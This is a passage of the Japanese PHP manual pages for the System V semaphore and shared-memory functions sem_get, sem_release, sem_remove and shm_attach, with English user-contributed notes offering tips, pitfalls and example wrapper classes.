anatoliy at ukhvanovy dot name 06-Feb-2015 05:33
Unfortunately, PHP does not currently support non-blocking semaphores.

If something like this is necessary you can utilize semaphores together with shared memory to create your own non-blocking lock mechanisms.

Use a shared memory variable to mark whether or not a lock exists and then use a semaphore around operations against that variable.
Sander Backus 04-Nov-2013 09:01
Note that when you reset $sem_identifier the semaphore won't block anymore!

This code does NOT work:
    $key     = ftok(__FILE__,'m');
    $a        = sem_get($key);
    sem_acquire($a);
    $a = false;

while this one does:

    $key     = ftok(__FILE__,'m');
    $a        = sem_get($key);
    sem_acquire($a);
    //$a = false;

So: use unique var names for your identifier!
Pinky 13-Feb-2012 08:29
sem_acquire() is blocking, meaning that subsequent calls with the same semaphore will block indefinitely until the semaphore is released. This ensures serialization, but it is not very practical if all you want to do is check if you should proceed or not. Unfortunately, PHP does not yet support any method of querying the state of a semaphore in a non-blocking manner.

It may seem possible to put together such a mechanism by hand, using shared memory (shm_ functions). However, be warned that it is not trivial and ultimately non-productive. You cannot, for example, simply pick a shared mem var, store the semaphore key and query it. Such an operation would be non-transactional and non-atomic ie. it is possible for two or more parallel processes to manage to read "not locked" from the shared mem var before one of them manages to mark it "locked". You would have to use a (blocking) semaphore to serialize access to the shared mem var, thus recreating the very problem you are trying to solve.

In other words, if non-blocking queries are crucial to you, you need to either request that this issue be solved by the PHP designers, or pick another mechanism to do your locking, one that already has this feature.
arjuna w 28-Jan-2012 01:14
In my tests sem_acquire() is 150 times faster than flock()
gladd at trash dot eris dot qinetiq dot com 13-Apr-2004 02:02
Just to clarify what is meant by "process" above:

On the Apache webserver, many PHP requests will be executed within the same process space because it is multithreaded. However, any semaphores got and acquired by a script and not released and removed will still be automatically cleaned up by the PHP interpreter each time the script terminates.

Remove any trash before emailing!


セマフォ ID を得る

  • ≪ sem_acquire
  • sem_release ≫
  • PHP Manual
  • セマフォ関数
  • セマフォ ID を得る

sem_get

(PHP 4, PHP 5, PHP 7, PHP 8)

sem_get — セマフォ ID を得る

説明

sem_get ( int $key , int $max_acquire = 1 , int $permissions = 0666 , bool $auto_release = true ) : SysvSemaphore|false

sem_get() は、 System V セマフォを指定したキーでアクセスするために使用可能な ID を返します。

同じキーで sem_get() を 2 度コールした場合、 別のセマフォ ID が返されます。 しかし、どちらの ID も同じそのセマフォをアクセスします。

key に 0 を指定すると、 sem_get() が呼び出される度に新しい非公開のセマフォが作られます。

パラメータ

key

max_acquire

同時にセマフォを得ることが可能なプロセス数を max_acquire にセットします。

permissions

セマフォのパーミッション。 実際には、この値はプロセスが現在そのセマフォに付随している 唯一のプロセスであることがわかった場合にのみセットされます。

auto_release

リクエストの終了時に自動的にセマフォを開放するかどうかを指定します。

返り値

成功した場合に正のセマフォ ID、エラー時には false を返します。

変更履歴

バージョン | 説明
8.0.0 | 成功した時、 この関数は SysvSemaphore クラスのインスタンスを返すようになりました。 これより前のバージョンでは、リソースが返されていました。
8.0.0 | auto_release の型が int から bool に変更されました

注意

警告

PHP 以外のところで作られたセマフォに sem_get() でアクセスするときには、 3 つのセマフォのセットとして作ったものでなければいけないことに注意しましょう (たとえば、C の semget() 関数で作るなら、nsems に 3 を指定します)。 そうしないと、PHP からそのセマフォにアクセスできなくなります。

参考

  • sem_acquire() - セマフォを得る
  • sem_release() - セマフォを解放する
  • ftok() - パス名とプロジェクト ID を、System V IPC キーに変換する

User Contributed Notes

Dan East 09-Feb-2021 01:42
Note that the default permissions parameter is octal!  Thus the default of 0666 is NOT the same as 666, or 0x666.

If you specify the permission as decimal 666 then you end up with permissions that prevent the semaphore from being read.  The symptom is that you can only sem_get it once, and subsequent sem_get will fail (until you ipcrm or sem_remove it and delete it entirely).

Thus these are all equivalent to the default:
sem_get ( 123, 1, 0666)
sem_get ( 123, 1, 438)
sem_get ( 123, 1, 0x1b6)

Most PHP developers (myself included) work with octal numbers so infrequently that the number 0666 can easily be mistaken as 666 or maybe 0x666.
kakkau at grr dot la 04-Apr-2016 09:19
It is possible to create an "infinite" amount of semaphores when setting $key = 0.

Run sem_get multiple times
php > sem_get(0,0);

and check the output of
$ ipcs -s

------ Semaphore Arrays --------
key        semid      owner      perms      nsems
0x00000000 1277952    user       666        3
0x00000000 1310721    user       666        3

As you can see there were multiple semaphores set up with key 0.
For any other integer sem_get works as expected. It returns another resource id pointing to the semaphore previously created and does not create another semaphore.
kakkau at grr dot la 20-Oct-2015 09:35
For those that encounter strange behavior in using sem_acquire() on resources generated by sem_get(). Have a look at  sem_get()'s 4th parameter auto_release. It allows multiple acquisitions through reassignments to resource variables.

./multi.acquire.php
<?php
class Sem {
  private $key = null;
  private $res = null;
  public function __construct() {
    $this->key = ftok(".",".");
    $this->set_res();
    $this->acquire();
  }
  public function set_res() {
    // 4th parameter auto_released is 1 by default
    $this->res = sem_get($this->key, 1, 0600, 1);
  }
  public function acquire() {
    echo "acquired='".sem_acquire($this->res,true)."'\n";
  }
}

$s = new Sem();
$s->set_res();
$s->acquire();

?>

$ php multi.acquire.php
acquired='1'
acquired='1'

To avoid reacquiring by default set sem_get()'s parameter auto_release to 0 or check if your resource variable is already set, e.g. by using is_null().
Michael Z. 25-Aug-2011 06:37
Watch out when you use fileinode() to get a unique semaphore key (as suggested in some comment on this or a related function) in conjunction with version control software: It seems, for example, SVN will change the inode. Using such a file will leave you with your mutex not working reliably and your system's semaphore pool being filled until further attempts to get a semaphore will fail. Use ipcs and ipcrm commands from linux-util-ng (on most distros probably) to examine/fix related problems.
soger 28-Mar-2011 08:20
Actually it looks like the semaphore is automatically released not on request shutdown but when the variable you store it's resource ID is freed. That is a very big difference.
pail dot luo at gmail dot com 26-Feb-2009 06:40
A very simple to introduce semaphore...

<?php
$SEMKey = "123456" ;

## Get Semaphore id
$seg = sem_get( $SEMKey, 2, 0666, -1) ;

if ( $argv[1]=="remove" ) {
    sem_remove($seg);
}

echo "Try to acquire ..."
sem_acquire($seg);
echo "Acquired...\n" ;

echo "Press Any Key to continue...\n";
$fh = fopen("php://stdin", "r");
$a = fgets( $fh);
fclose($fh);

sem_release($seg);
?>
cyrus dot drive at gmail dot com 01-May-2008 05:51
Implementation of a read-write semaphore in PHP:

<?php
class rw_semaphore {

    const READ_ACCESS = 0;
    const WRITE_ACCESS = 1;

    /**
     * @access private
     * @var resource - mutex semaphore
     */
    private $mutex;

    /**
     * @access private
     * @var resource - read/write semaphore
     */
    private $resource;

    /**
     * @access private
     * @var int
     */
    private $writers = 0;

    /**
     * @access private
     * @var int
     */
    private $readers = 0;

    /**
     * Default constructor
     *
     * Initialize the read/write semaphore
     */
    public function __construct() {
        $mutex_key = ftok('/home/cyrus/development/php/sysvipc/rw_semaphore.php', 'm');
        $resource_key = ftok('/home/cyrus/development/php/sysvipc/rw_semaphore.php', 'r');
        $this->mutex = sem_get($mutex_key, 1);
        $this->resource = sem_get($resource_key, 1);
    }

    /**
     * Destructor
     *
     * Remove the read/write semaphore
     */
    public function __destruct() {
        sem_remove($this->mutex);
        sem_remove($this->resource);
    }

    /**
     * Request acess to the resource
     *
     * @param int $mode
     * @return void
     */
    private function request_access($access_type = self::READ_ACCESS) {
        if ($access_type == self::WRITE_ACCESS) {
            sem_acquire($this->mutex);

            /* update the writers counter */
            $this->writers++;

            sem_release($this->mutex);
            sem_acquire($this->resource);
        } else {
            sem_acquire($this->mutex);
            if ($this->writers > 0 || $this->readers == 0) {
                sem_release($this->mutex);
                sem_acquire($this->resource);
                sem_acquire($this->mutex);
            }
            /* update the readers counter */
            $this->readers++;

            sem_release($this->mutex);
        }
    }

    private function request_release($access_type = self::READ_ACCESS) {
        if ($access_type == self::WRITE_ACCESS) {
            sem_acquire($this->mutex);

            /* update the writers counter */
            $this->writers--;

            sem_release($this->mutex);
            sem_release($this->resource);
        } else {
            sem_acquire($this->mutex);

            /* update the readers counter */
            $this->readers--;

            if ($this->readers == 0)
                sem_release($this->resource);

            sem_release($this->mutex);
        }
    }

    /**
     * Request read access to the resource
     *
     * @return void
     */
    public function read_access() { $this->request_access(self::READ_ACCESS); }

    /**
     * Release read access to the resource
     *
     * @return void
     */
    public function read_release() { $this->request_release(self::READ_ACCESS); }

    /**
     * Request write access to the resource
     *
     * @return void
     */
    public function write_access() { $this->request_access(self::WRITE_ACCESS); }

    /**
     * Release write access to the resource
     *
     * @return void
     */
    public function write_release() { $this->request_release(self::WRITE_ACCESS); }

}
?>
ein at anti-logic dot com 26-Jun-2007 04:21
Be aware that there is no way to ensure that you have exclusive access to a lock, despite setting max_acquire=1.

In example,
<?
$fp = sem_get(fileinode('lock_file', 100);
sem_acquire($fp);

$fp2 = sem_get(fileinode('lock_file', 1);
sem_acquire($fp2);
?>

This will not block on the second sem_aquire.  Therefore, if you have functions or processes that utilize shared locks (>1 max_acquire) you will still need to provide a seperate lock mechanism (ie flock) for write access, making the sem_ functions useless.

Some more info, in flock, each reference to the lock file has it's own options (can be shared exclusive blocking non blocking etc), but apparently php's sem functions only support these options per semaphore, not per semaphore-reference.
neofutur 28-Aug-2006 12:49
with gentoo php5 you will need to add the USE flag :
sysvipc

see :
 http://forums.gentoo.org/viewtopic-t-464175-highlight-semget+php.html

and also :
 http://overlays.gentoo.org/proj/php/
joeldg AT listbid.com 02-May-2003 11:39
Heh, actually the above comment I added is not technically correct, it was more of an idea to display the function.

$SHM_KEY = ftok("/home/joeldg/homeymail/shmtest.php", 'R');
$shmid = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$data = shm_attach($shmid, 1024);
// we now have our shm segment

// lets place a variable in there
shm_put_var ($data, $inmem, "test");
// now lets get it back. we could be in a forked process and still have
// access to this variable.
printf("shared contents: %s\n", shm_get_var($data, $inmem));

shm_detach($data);
joeldg at listbid.com 02-May-2003 12:36
<?
// thanks to
// http://www.ecst.csuchico.edu/~beej/guide/ipc/shmem.html
$SHM_KEY = ftok("/home/joeldg/homeymail/shmtest.php", 'R');
$shmid = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$data = shm_attach($shmid, 1024);

$data = "test";
printf("shared contents: %s\n", $data);

shm_detach($data);
?>


セマフォを解放する

  • ≪ sem_get
  • sem_remove ≫
  • PHP Manual
  • セマフォ関数
  • セマフォを解放する

sem_release

(PHP 4, PHP 5, PHP 7, PHP 8)

sem_release — セマフォを解放する

説明

sem_release ( SysvSemaphore $semaphore ) : bool

sem_release() は、そのセマフォが コール元のプロセスにより現在確保されている場合、解放します。 そうでない場合、警告が表示されます。

セマフォを解放した後、再び確保するには、sem_acquire() をコールします。

パラメータ

semaphore

sem_get() が返すセマフォ。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 引数 semaphore は、 SysvSemaphore クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • sem_get() - セマフォ ID を得る
  • sem_acquire() - セマフォを得る

User Contributed Notes

danno at circumsolutions dot com 01-Apr-2001 02:44
If you want to implement this sort of semaphore access (which is usually what is needed if doing ipc) one thing you can do is create shared memory which is simply an int. Use this int between processes as the value of the semaphore.  You can write wrapper functions which use this to allow you to do the desired readers-writers stuff or just use the shared memory plain.  I wouldn't be too worried about race conditions in this case as the shared memory is only an int.  If you are worried about race conditions, the wrapper functions for doing the semaphore stuff could actually use a semaphore to elimate any race conditions.  Also, an added bonus of doing it this way is you can check the value of the int.
apua at communiplex dot com 08-Dec-1999 08:54
The fact that sem_release only resease the semaphore if it is currently acquired by the calling process is, in fact, a misfeature since sometimes (eg in a readers-writers implementation) it is desirable to release a semaphore acquired by another process. In C you can do that.
I'm telling this because I was trying to write a chat app in php3 made of two programs: a listener and a speaker. The speaker releases a semaphore to inform that there is a new message in a shared memory var. And listeners wait in that semaphore before outputting the message.


セマフォを削除する

  • ≪ sem_release
  • shm_attach ≫
  • PHP Manual
  • セマフォ関数
  • セマフォを削除する

sem_remove

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

sem_remove — セマフォを削除する

説明

sem_remove ( SysvSemaphore $semaphore ) : bool

sem_remove() は、指定したセマフォを削除します。

セマフォを削除した後、そのセマフォにはもうアクセスできません。

パラメータ

semaphore

sem_get() が返すセマフォ。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | 引数 semaphore は、 SysvSemaphore クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソースが期待されていました。

参考

  • sem_get() - セマフォ ID を得る
  • sem_release() - セマフォを解放する
  • sem_acquire() - セマフォを得る

User Contributed Notes

donotcallme at iwillcallyou dot com 28-Oct-2013 05:10
sem_remove() shouldn't be part of a normal cleanup/teardown and should be called very rarely due to bugs in the implementation.

It doesn't seem to hurt to leave semaphores lying around and is likely to be more performance-friendly to do so.  If you are concerned about having too many semaphores floating around for an application (e.g. a file cache that uses ftok()), you can use some modulus arithmetic and simple addition to create a limited range of values for your semaphores off in the middle of nowhere.  For example, ftok() % 101 + 0xBADBEEF.  Be sure to replace 0xBADBEEF with your own random value.  The example limits the range to 101 semaphores.  101 is a prime number - so if you want more or less, be sure to replace it with a prime number since primes theoretically help distribute values more evenly.


共有メモリセグメントを作成またはオープンする

  • ≪ sem_remove
  • shm_detach ≫
  • PHP Manual
  • セマフォ関数
  • 共有メモリセグメントを作成またはオープンする

shm_attach

(PHP 4, PHP 5, PHP 7, PHP 8)

shm_attach — 共有メモリセグメントを作成またはオープンする

説明

shm_attach ( int $key , int|null $size = null , int $permissions = 0666 ) : SysvSharedMemory|false

shm_attach() は ID を返します。 これは、指定されたキー key で System V 共有メモリにアクセスする際に使用することが可能です。 最初のコールの際に、サイズが size、 オプションのパーミッション permissions を指定した共有メモリセグメントを作成します。

同じ key で shm_attach() を 2 回コールした場合は 別の SysvSharedMemory インスタンスが返されますが、 両方のインスタンスは同じ共有メモリをアクセスします。 size および permissions は無視されます。

パラメータ

key

共有メモリセグメント ID を表す数値。

size

メモリのサイズ。省略した場合のデフォルトは php.ini の sysvshm.init_mem、あるいは 10000 バイトとなります。

permissions

オプションのパーミッション設定。デフォルトは 0666 です。

返り値

成功時には、SysvSharedMemory クラスのインスタンスを返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | 成功時に、この関数は SysvSharedMemory クラスのインスタンスを返すようになりました。 これより前のバージョンでは、リソースが返されていました。
8.0.0 | size は、nullable になりました。

参考

  • shm_detach() - 共有メモリセグメントへの接続を閉じる
  • ftok() - パス名とプロジェクト ID を、System V IPC キーに変換する

User Contributed Notes

bobhairgrove 13-Feb-2018 07:40
Under the "Notes" section, it is stated that one can cast the resource ID returned by shm_attach() to an integer as of PHP 5.3.0; however, this will NOT be the same integer as the shmid value which is returned from the native SysV function shmget() on Linux (as I was hoping it might be). The integer returned by casting is merely the ID number of the resource, which is totally useless outside of the context of these functions, AFAICT.

To verify this, one can allocate a memory block with shm_attach() (or shmop_open()), print out the resource returned and compare it to the value in the "shmid" column when running "ipcs" in a terminal on Linux (or some other *nix OS).
novayear # hotmail ; com 21-Apr-2014 08:13
small shm class..
example usage:
$shx= new shmSmart;
$shx->put("key_name_apple","key_val_peach"); //set example..
$shx->put("key name alternative array",array(1=>"banana","apricot","blablabla"=>array("new-blaala"))); //set array example..
echo  $shx->get("key_name_apple"); // get example key value.
$shx->del("key_name_apple"); // delete key
unset($shx); // free memory in php..

class shmSmart{
  public $shm;            //holds shared memory resource
  public function __construct(){
    if(function_exists("shm_attach")===FALSE){
      die("\nYour PHP configuration needs adjustment. See: http://us2.php.net/manual/en/shmop.setup.php. To enable the System V shared memory support compile PHP with the option --enable-sysvshm.");
    }
    $this->attach();    //create resources (shared memory)
  }
  public function attach(){
    $this->shm=shm_attach(0x701da13b,33554432);    //allocate shared memory
  }
  public function dettach(){
    return shm_detach($this->shm);    //allocate shared memory
  }
  public function remove(){
    return shm_remove($this->shm);    //dallocate shared memory
  }
  public function put($key,$var) {
    return shm_put_var($this->shm,$this->shm_key($key),$var);    //store var
  }
  public function get($key){
    if($this->has($key)){
      return shm_get_var($this->shm,$this->shm_key($key));  //get var
    }else{
      return false;
    }
  }
  public function del($key){
    if($this->has($key)){
      return shm_remove_var($this->shm,$this->shm_key($key)); // delete var
    }else{
      return false;
    }
  }
  public function has($key){
    if(shm_has_var($this->shm,$this->shm_key($key))){ // check is isset
      return true;
    }else{
      return false;
    }
  }
  public function shm_key($val){ // enable all world langs and chars !
    return preg_replace("/[^0-9]/","",(preg_replace("/[^0-9]/","",md5($val))/35676248)/619876); // text to number system.
  }
  public function __wakeup() {
    $this->attach();
  }
  public function __destruct() {
    $this->dettach();
    unset($this);
  }
}
Daniel Knecht 27-Mar-2014 11:30
If you get an error like "PHP Warning:  shm_attach(): failed for key 0x61040bb5: Cannot allocate memory" then you might need to tweak your shared memory configuration.

To see your system values, enter "sysctl kern.sysv."
Important values are kern.sysv.shmmax and kern.sysv.shmall:
* kern.sysv.shmmax is the max number of bytes one shared memory segment may have
* kern.sysv.shmall is the max number of memory pages all shared memory segments together can consume
One memory page is 4096 bytes, meaning that if you set kern.sysv.shmmax to 1073741824 (1GB) then kern.sysv.shmall must be at least 262144 to be able to allocate a one GB memory segment (since 262144 * 4096 = 1073741824).

tl;dr The default values on some systems are very low and then it is not enough to only increase kern.sysv.shmmax - also kern.sysv.shmall needs to be increased accordingly!
info at tristat dot org 15-Oct-2011 05:07
You might expect the SHM functions to be significantly faster than building variables from MySQL operations. Unfortunately this is not the case regarding large multidimensional arrays. I've tested write, read, update and delete operations with with a two dimensional associative array directly with SHM and in comparison with a class using MySQL and a class using SHMOP functions (with mostly offset-accurate serialization). Both classes generated the same array as stored with SHM. Unlike SHMOP the performance of SHM decreases considerably with larger arrays. At 2000 instructions with an $array[$row][$key] of 200 rows and 5 keys even MySql is faster than SHM.This might be due to the fact, that SHM deals with any kind of arrays and makes internal use the PHPs powerful serialize() function.
nathanbruer at gmail dot com 05-Apr-2011 01:21
I was playing around with these functions and made a class in the process. This will of course be slower than accessing a variable locally, but gives the ability to store variables in a shared environment and gives many running scripts the understanding that it should access them from the shared area. This should also auto destroy the shared memory area once no more scripts have a link to the data (when all scripts use this class).

<?php
class SharedMemory{
    private $nameToKey = array();
    private $key;
    private $id;
    function __construct($key = null){
        if($key === null){
            $tmp = tempnam('/tmp', 'PHP');
            $this->key = ftok($tmp, 'a');
            $this->id = shm_attach($this->key);
            $this->nameToKey[] = '';
            $this->nameToKey[] = '';
            $this->updateMemoryVarList();
            shm_put_var($this->id, 1, 1);
        }else{
            $this->key = $key;
            $this->id = sem_get($this->key);
            $this->refreshMemoryVarList();
            shm_put_var($this->id, 1, shm_get_var($this->id, 1) + 1);
        }
        if(!$this->id)
            die('Unable to create shared memory segment');
    }
    function __sleep(){
        shm_detach($this->id);
    }
    function __destruct(){
        if(shm_get_var($this->id, 1) == 1){
            // I am the last listener so kill shared memory space
            $this->remove();
        }else{
            shm_detach($this->id);
            shm_put_var($this->id, 1, shm_get_var($this->id, 1) - 1);
        }
    }
    function __wakeup(){
        $this->id = sem_get($this->key);
        shm_attach($this->id);
        $this->refreshMemoryVarList();
        shm_put_var($this->id, 1, shm_get_var($this->id, 1) + 1);
    }
    function getKey(){
        return $this->key;
    }
    function remove(){
        shm_remove($this->id);
    }
    function refreshMemoryVarList(){
        $this->nameToKey = shm_get_var($this->id, 0);
    }
    function updateMemoryVarList(){
        shm_put_var($this->id, 0, $this->nameToKey);
    }
    function __get($var){
        if(!in_array($var, $this->nameToKey)){
            $this->refreshMemoryVarList();
        }
        return shm_get_var($this->id, array_search($var, $this->nameToKey));
    }
    function __set($var, $val){
        if(!in_array($var, $this->nameToKey)){
            $this->refreshMemoryVarList();
            $this->nameToKey[] = $var;
            $this->updateMemoryVarList();
        }
        shm_put_var($this->id, array_search($var, $this->nameToKey), $val);
    }
}

// Example
$sharedMem = new SharedMemory();
$pid = pcntl_fork();
if($pid){
    //parent
    sleep(1);
    echo "Parent Says: " . $sharedMem->a . "\n";
    echo "Parent Changed to 0\n";
    $sharedMem->a = 0;
    //Parent just changed it to 0
    echo "Parent Says: " . $sharedMem->a . "\n";
    sleep(2);
    // Parent think's it's 0, but child has changed it to 1
    echo "Parent Says: " . $sharedMem->a . "\n";
}else{
    //child
    $sharedMem->a = 2;
    echo "Child Changed to 2\n";
    // Should be 2 as child just set it to 2
    echo "Child Says: " . $sharedMem->a . "\n";
    sleep(2);
    // Child think's it's 2, but the parent set it to 0.
    echo "Child Says: " . $sharedMem->a . "\n";
    echo "Child Added 1\n";
    $sharedMem->a++;
    echo "Child Says: " . $sharedMem->a . "\n";
}
?>
somepay at gmail dot com 05-Aug-2010 03:07
In my log I have found string
"shm_attach(): failed for key 0x366f: No space left on device"
But have not found any suggestion for this at php.net and at google.

So question was how to make free memory used by shm_attach .
At first to view (Linux)  how many segments allocated, use
:~# ipcs -mu
then
limits
:~# ipcs -ml

to remove segment use:
:~# ipcrm -m [shmid]

otherwise you can reboot server, or launch sh script based on commands above.

To avoid troubles with "No space left on device" ALWAYS use
shm_remove() & shm_detach() after call shm_attach().
pail dot luo at gmail dot com 26-Feb-2009 06:43
A simple Sample to introduce SHM.

<?php
if ( sizeof($argv)<2 ) {
        echo "Usage: $argv[0] send|recv|rem|dele ID [msg] \n\n" ;
        echo "   EX: $argv[0] send 1 \"This is no 1\" \n" ;
        echo "       $argv[0] recv 1 \n" ;
        echo "       $argv[0] rem 1 \n" ;
        echo "       $argv[0] dele \n" ;
        exit;
}

// $SHMKey = ftok(__FILE__, "Z");
$SHMKey = "123456" ;

## Create/Open a shm
$seg = shm_attach( $SHMKey, 1024, 0666 ) ;

switch ( $argv[1] ) {
    case "send":
        shm_put_var($seg, $argv[2], $argv[3]);
        echo "send msg done...\n" ;
        break;

    case "recv":
        $data = shm_get_var($seg, $argv[2]);
        echo $data . "\n" ;
        break;

    case "rem":
        shm_remove_var($seg, $argv[2]);
        break;

    case "dele":
        shm_remove($seg);
        break;

    case "dele2":
        `/usr/bin/ipcrm -M 123456`;
        break;
}
?>
nkatz at yahooo dot com 18-Sep-2008 05:31
Responding to jpeter1978 at yahoo dot com ... Assuming a character is typically two bytes, the size of a serialized variable (incl array or obj) is 2 * its strlen().  The 44 is 4 more than the 24 + 16 = 40 suggested by php at cytrax dot de plus 4 bytes for worst case 4-byte alignment.  So this is probably a reliable formula if you are too lazy to align it using something similar to zeppelinux at comcast dot net as in:

($strlen($serialized_array_or_obj) /4 ) * 4 ) + 40;

The zeppelinux formula would use 20 (for 4-byte integer cpu) or 36 (for 64-bit or 8-byte cpu) for the ending constant so 40 or 44 is probably just achieving header padding but it certainly can't hurt.
zeppelinux at comcast dot net 14-Aug-2008 12:19
<?php

//how to calculate the  minimum $memsize required to store the variable $foo where $foo='foobar'.

// when shm_attach() is called for the first time, PHP writes a header to the beginning of the shared memory.
$shmHeaderSize = (PHP_INT_SIZE * 4) + 8;

// when shm_put_var() is called, the variable is serialized and a small header is placed in front of it before it is written to shared memory.
$shmVarSize = (((strlen(serialize($foo))+ (4 * PHP_INT_SIZE)) /4 ) * 4 ) + 4;

// now add the two together to get the total memory required. Of course, if you are storing more than one variable then you dont need to add $shmHeaderSize for each variable, only add it once.
$memsize = $shmHeaderSize + $shmVarSize;

//this will give you just enough memory to store the one variable using shm_put_var().
$shm_id = shm_attach ( $key, $memsize, 0666 ) ;
shm_put_var  ( $shm_id  , $variable_key  , $foo  );

any attempt to store another variable will result in a 'not enough memory' error.
Be aware that if you change the contents of $foo to a larger value and then you try to write it to shared memory again using shm_put_var(), then you will get a 'not enough memory' error. In this case, you will have to resize your shared memory segment and then write the new value.

If you are only storing variables that contain a single integer value, then you can avoid having to resize by always allocating the largest amount of memory that is required to store an int, which should be:
$shmIntVarSize = (((strlen(serialize(PHP_INT_MAX))+ (4 * PHP_INT_SIZE)) /4 ) * 4 ) + 4;

?>
hetii at poczta dot onet dot pl 11-Jan-2008 05:18
Hi :)
I write small class for build bright message between my application.

<?
class Bright_Message
{

var $bright;
var $SHM_KEY;
var $my_pid;

        function Bright_Message($SHM_KEY=null)
        {
                $this->my_pid = getmypid();//Get own pid
                if (is_null($SHM_KEY)) $this->SHM_KEY = '123123123';
                $this->bright = shm_attach($this->SHM_KEY, 1024, 0666);
                $this->one_instance();
        }

        function get_msg($id,$remove=true)
        {
                if(@$msg=shm_get_var($this->bright,$id))
                {
                   if ($remove) @shm_remove_var($this->bright,$id);
                   return $msg;
                } else return false;
        }

        function snd_msg($id,$msg)
        {
                @shm_put_var($this->bright,$id,$msg);
                return true;
        }

        function one_instance()
        {
                $SHM_PID = $this->get_msg(1,false);
                if((strpos(exec('ps p'.$SHM_PID),$_SERVER['SCRIPT_FILENAME'])) === false)
                $this->snd_msg(1,$this->my_pid); else
                {
                        echo "This program exists on pid: $SHM_PID\r\n\r\n";
                        exit;
                }
        }

}
?>

send.php:
<?
include "bridge_message.class.php";
$shm = new Bright_Message();
$shm->snd_msg(2,'this is my simple message');
?>

receive.php:
<?
include "bridge_message.class.php";
$shm = new Bright_Message();
$msg = get_msg(2);
echo print_r($msg,1);
?>
jpeter1978 at yahoo dot com 03-Aug-2007 03:35
I tried all the suggestions above for getting the object size (in bytes) for $memsize, but they didn't work universally for the two types of objects I tried (string and array of strings).

After doing some googling and experimenting, I've found the following magic formula:

$memsize = ( strlen( serialize( $object ) ) + 44 ) * 2;

I found this in someone else's code, so I can't explain it.
Uther Pendragon 08-Mar-2007 09:08
As a follow-up to my last post regarding shm_attach and its limit capability for knowing how it was created....

for more control, use the shmop_* series of functions, as they have finer grained control than these.

and by the way:  the SHMOP functions SHOULD BE listed under "see also" for all the SHM* wrapper functions (I assume they are wrappers to the SHMOP* functions).
Uther Pendragon 24-Jan-2007 08:26
Since there aren't seperate functions for CREATING and ATTACHING shared memory (a mistake in my opinion), you might want to do some testing to check whether you've created it or not, as you may not want the slave of a master/slave pair to ever create the shared memory.

One way you can test this is by having your slave set the size to something small, then testing the size by putting a variable too large to fit, e.g.:

function get_shmem() {
     return shm_attach(ftok('somefile.txt', 'T'), 100, 0644);
}

$shm = get_shmem();

while (!@shm_put_var($shm, 1, str_repeat('.....', 20))) {
     shm_remove($shm);
     sleep(1);
     //we created it, so we'll remove it and sleep to wait for the master to create it, then try again.
     $shm = get_shmem();
}
shm_remove_var($shm, 1);
//here we know the shared memory was already created, because we could put a variable in bigger than the size requested.

Another way you can handle it is to have all programs initialize the shared memory with the same parameters... I had a problem with this when my clients starting too fast and created the shmem without passing a memsize value, so it was defaulting to 10k which was too small.
Katzenmeier 04-Nov-2006 03:36
The limit for one SHM block seems to be 32 MB, but you can split your data in several SHM blocks if you need to. The total SHM limit seems to be about 8 GB.

I'm not sure whether this is true for all configurations.
muytoloco at yahoo dot com dot br 23-Feb-2006 09:33
If one process make a shm_attach to one inexistent memory area, this area will be created under the same priviliegies of the script running user. If another process will try to create or acces the same area, runnig by other user with different privileges of the first user, an error will occur.
rch at todo dot com dot uy 28-Mar-2005 04:17
Cecil, the key of a var is an integer (not the name ). You can put multiples vars in the same share.

#!/usr/local/bin/php -q
<?PHP

$SHM_KEY = ftok(__FILE__, chr( 4 ) );

$data =  shm_attach($SHM_KEY, 1024, 0666);

$test1 = array("hello","world","1","2","3");
$test2 = array("hello","world","4","5","6");
$test3 = array("hello","world","7","8","9");

shm_put_var($data, 1, $test1);
shm_put_var($data, 2,$test2);
shm_put_var($data, 3,$test3);

print_r(shm_get_var($data, 1));
print_r(shm_get_var($data, 2));
print_r(shm_get_var($data, 3));

shm_detach($data);
?>
andreyKEINSPAM at php dot net 24-Apr-2004 09:31
As far as I see from the sources of ext/sysvshm, it's not needed to  do  arithmetic (bit) OR (|) of "perm" with  IPC_CREAT (and IPC_EXCL). The extension will do it for you. It tries to attach to the memory segment and if the try did not succeed it tries to attach but with flags set to user_flag | IPC_CREAT | IPC_EXCL.
The exact code (shm_flag is the third param to the function) :
if ((shm_id = shmget(shm_key, 0, 0)) < 0) {
      if (shm_size < sizeof(sysvshm_chunk_head)) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "failed for key 0x%x: memorysize too small", shm_key);
            efree(shm_list_ptr);
            RETURN_FALSE;
      }
      if ((shm_id = shmget(shm_key, shm_size, shm_flag | IPC_CREAT | IPC_EXCL)) < 0) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "failed for key 0x%x: %s", shm_key, strerror(errno));
             efree(shm_list_ptr);
             RETURN_FALSE;
     }
}
Cecil 18-Mar-2004 12:37
Here is an example of how to use one shared memory block to store multiple variables or arrays.. unfortunetly in order to store more than ONE variable, you have to use sem_get() multiple times.. same goes for shm_attach(), shm_put_var() and shm_get_var()

#!/usr/local/bin/php -q
<?PHP
// test.php

$SHM_KEY = ftok(__FILE__,'A');

$shmid  = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid2 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid3 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);

$data =  shm_attach($shmid, 1024);
$data2 = shm_attach($shmid2, 1024);
$data3 = shm_attach($shmid3, 1024);

$test = array("hello","world","1","2","3");
$test2 = array("hello","world","4","5","6");
$test3 = array("hello","world","7","8","9");

shm_put_var($data,$inmem,$test);
shm_put_var($data2,$inmem2,$test2);
shm_put_var($data3,$inmem3,$test3);

print_r(shm_get_var($data,$inmem));
print_r(shm_get_var($data2,$inmem2));
print_r(shm_get_var($data3,$inmem3));

shm_detach($data);
shm_detach($data2);
shm_detach($data2);
?>

to REALLY test it.. create a second script like so and run it..

#!/usr/local/bin/php -q
<?PHP
// test2.php

$SHM_KEY = ftok(__FILE__,'A');

$shmid  = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
